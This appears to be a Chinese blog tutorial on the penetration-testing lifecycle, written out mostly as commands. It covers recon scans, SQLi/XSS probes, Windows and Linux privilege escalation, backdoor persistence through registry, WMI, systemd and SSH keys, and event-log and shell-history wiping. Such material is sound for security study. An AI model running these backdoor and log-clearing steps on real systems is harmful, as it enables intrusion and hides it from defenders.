> 黑客渗透测试全流程深度解析:从信息搜集到权限维持 _

黑客渗透测试全流程深度解析:从信息搜集到权限维持

前言

渗透测试作为网络安全领域的重要组成部分,已经发展成为一门系统性的技术学科。一个完整的渗透测试流程包含多个相互关联的阶段,每个阶段都需要专业的知识和丰富的经验。本文将深入探讨渗透测试的完整生命周期,从最初的信息搜集到最终的权限维持,为安全从业者提供全面的技术参考。

第一阶段:信息搜集与侦察

信息搜集是渗透测试的基础环节,也是决定测试成功与否的关键因素。在这个阶段,测试人员需要尽可能全面地收集目标系统的相关信息。

被动信息搜集

被动信息搜集是指在不直接与目标系统交互的情况下获取信息。常用的技术包括:

DNS信息枚举

# 使用dig工具进行DNS查询
dig target.com ANY
dig target.com MX
dig target.com NS

# 使用nslookup进行查询
nslookup -type=ANY target.com

# DNS区域传输尝试
dig @ns.target.com target.com AXFR

搜索引擎黑客技术
利用Google、Shodan等搜索引擎的特殊语法可以发现大量敏感信息:

site:target.com filetype:pdf
site:target.com intitle:"index of"
site:target.com "index of /admin"

主动信息搜集

主动信息搜集需要直接与目标系统进行交互,主要包括端口扫描和服务识别。

Nmap高级扫描技巧

# 全面扫描
nmap -sS -sV -sC -O -A target.com

# 隐蔽扫描
nmap -sS -T2 --scan-delay 5s target.com

# UDP服务扫描
nmap -sU -sV --top-ports 100 target.com

# 防火墙绕过扫描
nmap -f --mtu 24 -D RND:10 target.com

第二阶段:漏洞扫描与利用

在完成信息搜集后,下一步是识别目标系统中存在的安全漏洞。

自动化漏洞扫描

使用专业的漏洞扫描工具可以快速发现常见的安全问题:

Nessus扫描配置

# 启动Nessus服务
systemctl start nessusd

# 使用自定义策略扫描
nessus -q -x -T html -o report.html target.com

OpenVAS高级用法

# 创建扫描任务
omp -u admin -w admin --create-task "全面扫描" \
--config "Full and fast" --target target.com

# 启动扫描
omp -u admin -w admin --start-task [task-id]

手动漏洞挖掘

自动化工具无法发现所有漏洞,手动测试是必不可少的:

SQL注入漏洞测试

import requests
import string

def test_sql_injection(url, param):
    payloads = ["'", "''", "`", "``", "\"", "\"\"", 
                "' OR '1'='1", "' UNION SELECT NULL--"]

    for payload in payloads:
        test_url = f"{url}?{param}={payload}"
        response = requests.get(test_url)

        if "error" in response.text.lower() or "syntax" in response.text.lower():
            print(f"可能的SQL注入漏洞: {test_url}")
            return True
    return False

XSS漏洞检测

// XSS测试向量
const xss_vectors = [
    "<script>alert('XSS')</script>",
    "<img src=x onerror=alert('XSS')>",
    "<svg onload=alert('XSS')>",
    "javascript:alert('XSS')"
];

function test_xss(url, param) {
    xss_vectors.forEach(vector => {
        const test_url = `${url}?${param}=${encodeURIComponent(vector)}`;
        fetch(test_url)
            .then(response => response.text())
            .then(data => {
                if (data.includes(vector)) {
                    console.log(`可能的XSS漏洞: ${test_url}`);
                }
            });
    });
}

第三阶段:权限提升与横向移动

获得初始访问权限后,渗透测试进入权限提升和横向移动阶段。

Windows系统权限提升

系统信息收集

# 获取系统信息
systeminfo
whoami /priv
net user
net localgroup administrators

# 检查补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 查看计划任务
schtasks /query /fo LIST /v

常见的Windows提权技术

# 服务权限滥用
sc query state= all | findstr "SERVICE_NAME"
sc qc [service_name]

# 不安全的服务权限利用
sc config [service_name] binPath= "net localgroup administrators user /add"
sc start [service_name]

Linux系统权限提升

Linux信息枚举

# 系统信息
uname -a
cat /etc/issue
cat /etc/*release

# 权限检查
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 环境变量检查
env
echo $PATH

SUID提权实例

# 查找SUID文件
find / -perm -u=s -type f 2>/dev/null

# 利用SUID文件
# 例如找到的nmap有SUID权限
nmap --interactive
nmap> !sh

第四阶段:权限维持与持久化

在获得系统访问权限后,需要建立持久的访问通道。

Windows持久化技术

注册表启动项

# 添加注册表启动项
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\backdoor.exe"

# 计划任务持久化
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\backdoor.exe" /sc onlogon /ru System

WMI事件订阅

# 创建WMI事件订阅
$FilterArgs = @{
    EventNamespace = 'root\cimv2'
    Name = 'WindowsUpdateFilter'
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
    QueryLanguage = 'WQL'
}

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

$ConsumerArgs = @{
    Name = 'WindowsUpdateConsumer'
    CommandLineTemplate = "C:\Windows\System32\backdoor.exe"
}

$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}

Linux持久化技术

系统服务持久化

# 创建系统服务
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/backdoor
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# 启用服务
systemctl enable backdoor.service
systemctl start backdoor.service

SSH后门

# 添加SSH公钥
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# 或者修改SSH配置
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
systemctl restart sshd

第五阶段:痕迹清理与反取证

完成渗透测试后,需要清理系统日志和其他痕迹。

Windows日志清理

事件日志清理

# 清除特定事件日志
wevtutil el | Foreach-Object {wevtutil cl "$_"}

# 使用PowerShell清除日志
Clear-EventLog -LogName Application, Security, System

# 更高级的清理方法
function Clear-EventLogs {
    param([string]$ComputerName = $env:COMPUTERNAME)

    $LogNames = @('Application', 'Security', 'System', 'Setup')

    foreach ($LogName in $LogNames) {
        try {
            $Log = Get-WinEvent -ListLog $LogName -ComputerName $ComputerName -ErrorAction Stop
            $Log.ResetLog()
            $Log.SaveChanges()
        } catch {
            Write-Warning "无法清理日志: $LogName"
        }
    }
}

Linux日志清理

系统日志清理


# 清理auth日志
echo "" > /var/log/auth.log
echo "" > /var/log/secure

# 清理历史命令
history -c
echo "" > ~/.bash_history

# 清理其他日志文件
find /var/log -name "*.log" -exec sh -c 'echo "" > {}' \;

# 使用shred安全删除文件

> 文章统计_

字数统计: 计算中...
阅读时间: 计算中...
发布日期: 2025年09月12日
浏览次数: 51 次
评论数量: 0 条
文章大小: 计算中...

> 评论区域 (0 条)_

发表评论

1970-01-01 08:00:00 #
1970-01-01 08:00:00 #
#
Hacker Terminal
root@www.qingsin.com:~$ welcome
欢迎访问 百晓生 联系@msmfws
系统状态: 正常运行
访问权限: 已授权
root@www.qingsin.com:~$